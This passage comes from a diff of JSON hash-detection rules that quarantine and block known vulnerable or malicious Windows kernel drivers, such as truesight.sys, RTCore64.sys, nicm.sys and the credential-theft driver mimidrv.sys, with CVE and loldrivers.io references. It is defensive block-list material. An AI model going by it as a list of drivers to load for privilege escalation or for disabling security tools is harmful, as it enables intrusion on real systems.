+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1f880eba-d0bc-58c4-b529-bc568278c505",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607561Z",
+  "creation_date": "2026-03-23T11:45:29.607563Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607568Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ff50c67d51553c08dcb7c98342f68a0f54ad6658c5346c428bdcd1f185569f6",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1f88d06c-031a-5c6f-8209-7a7db9b9f4af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820954Z",
+  "creation_date": "2026-03-23T11:45:30.820957Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820965Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c186967cc4f2a0cb853c9796d3ea416d233e48e735f02b1bb013967964e89778",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1f8fd750-2d83-5c91-8134-22c87e089c3e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616721Z",
+  "creation_date": "2026-03-23T11:45:29.616723Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616729Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "038f39558035292f1d794b7cf49f8e751e8633daec31454fe85cccbea83ba3fb",
+  "comment": "Vulnerable Kernel Driver (aka amifldrv64.sys) [https://www.loldrivers.io/drivers/a5eb98bf-2133-46e8-848f-a299ea0ddefa/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1f93204f-1339-552a-a546-0502a90d332d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490066Z",
+  "creation_date": "2026-03-23T11:45:31.490068Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490074Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a61c0d6e44ae7634598b91c71d8c84982c378ae341af6f7d485b808948e09630",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1f957a54-c58f-5020-aa12-12549afd8993",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605156Z",
+  "creation_date": "2026-03-23T11:45:29.605158Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605163Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "57982057bae3808abd3417d0827fcf596f979f824cff149b2f8cdcf25b86396f",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1f973f29-96dd-5120-b476-4b463d4a3bc7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465596Z",
+  "creation_date": "2026-03-23T11:45:30.465599Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465608Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "15cf366f7b3ee526db7ce2b5253ffebcbfaa4f33a82b459237c049f854a97c0c",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1fb1f7af-1f12-51ac-8efc-b22403b685d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611549Z",
+  "creation_date": "2026-03-23T11:45:29.611551Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611556Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "057e45b47fe0ca96fe3741058bc4365c9a866dff925cab8cfea4c161b990e8e2",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1fbb35de-b1d9-5710-b636-a2555fc7aab4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473095Z",
+  "creation_date": "2026-03-23T11:45:30.473099Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473109Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c673f2eed5d0eed307a67119d20a91c8818a53a3cb616e2984876b07e5c62547",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1fc38b99-e554-5127-9ac1-60f8a9abaa7f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977799Z",
+  "creation_date": "2026-03-23T11:45:29.977801Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977807Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8111085022bda87e5f6aa4c195e743cc6dd6a3a6d41add475d267dc6b105a69f",
+  "comment": "Vulnerable Kernel Driver (aka NetProxyDriver.sys) [https://www.loldrivers.io/drivers/c1ece07b-e92a-4050-95ee-90e03aa82120/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1fc49f6c-4ee6-5663-8fbb-d14f3a4229b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826420Z",
+  "creation_date": "2026-03-23T11:45:31.826422Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826427Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8ec94129adcf736bbc7d4a8d9689bba64b9bba8849f420f17ab9292fa671294e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1fd251fa-be87-57c4-b465-43222e0c452b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605788Z",
+  "creation_date": "2026-03-23T11:45:29.605790Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605795Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "41cceace9751dce2b6ecaedc9a2d374fbb6458cf93b00a1dcd634ad0bc54ef89",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1fd3834b-1203-5941-9dfb-928b7d258115",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455389Z",
+  "creation_date": "2026-03-23T11:45:30.455392Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455401Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c2557b448d71c6873bf71f5ab41cc618d12d5c91717bf8738b6b5dce187326c2",
+  "comment": "Vulnerable Kernel Driver (aka VBoxUSB.Sys) [https://www.loldrivers.io/drivers/70fa8606-c147-4c40-8b7a-980290075327/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1fd3fe23-73f3-5c78-94f6-d25c5bdec271",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141078Z",
+  "creation_date": "2026-03-23T11:45:31.141080Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141085Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "98c2f4a08e0d4b3f25c49ab8efa7e2875dcf084ad6592d4930e19276cf9cab48",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1fd9fa73-7aff-5f30-bedb-59c7629e175d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487023Z",
+  "creation_date": "2026-03-23T11:45:31.487027Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487035Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "20b164228a019d203a24c761715c3b13e38b16ac01c668727cb716759162950b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1fed9dd1-8f0e-5297-b6ec-70932b5996fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830997Z",
+  "creation_date": "2026-03-23T11:45:30.831001Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831007Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1fc6af1d7f8607539ca11cf35b0be782bf1a758f32960444045da53079a2cdce",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1fee6ff8-f9dd-5f6d-bfdd-bc3669e2c8c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831308Z",
+  "creation_date": "2026-03-23T11:45:30.831310Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831323Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "259f27e01cd7cbd9e62beb9387d78f1dba7d3f80da50d9156574a89ae9f6d1e8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1ff5c28a-683d-59ab-b69a-7b20b45d154d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817884Z",
+  "creation_date": "2026-03-23T11:45:31.817888Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817898Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac44f0d31b51f6e41d6519772d65a2e82c11f2397f999aac78b1eb16ec369bdc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1ffcf12b-4af7-5153-ad94-e3bd5909452d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470221Z",
+  "creation_date": "2026-03-23T11:45:30.470224Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470234Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7fe1958f35b91da7819002c38642bb9408db3167bd311c637aaae6f9d45af3e4",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "20075074-cd43-53c9-a00d-4f63474fc810",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983068Z",
+  "creation_date": "2026-03-23T11:45:29.983070Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983076Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bf118e97d662139c1152d25a69cfa02659381aeeeea9d2222ac96fe740752c09",
+  "comment": "Vulnerable Kernel Driver (aka nstrwsk.sys) [https://www.loldrivers.io/drivers/e9b099f6-8a12-46f0-a540-40e88cf0ce17/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2009bbe1-e357-570b-be99-cae8ce3b61b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453461Z",
+  "creation_date": "2026-03-23T11:45:30.453464Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453473Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bae01ea7b49bd090e198448c41293830a6e2c68821d65f69ec7dc98a16baef21",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "20103ec1-1f06-5d36-b33a-4031b58b9b3a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.471776Z",
+  "creation_date": "2026-03-23T11:45:31.471779Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.471788Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a68b800d2ff84f593e6c74bfa38efa7add3d8ef5143f72fdfe5edd3ebbe6757c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "20117979-2abb-5a33-b354-a5773b3e5161",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453665Z",
+  "creation_date": "2026-03-23T11:45:30.453669Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453678Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8fca5b647af3f792898efc1bdc008745643b417282cdee13d4edf93a4a8308a0",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "20175d13-d747-553a-aba6-ab62c55ed8bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
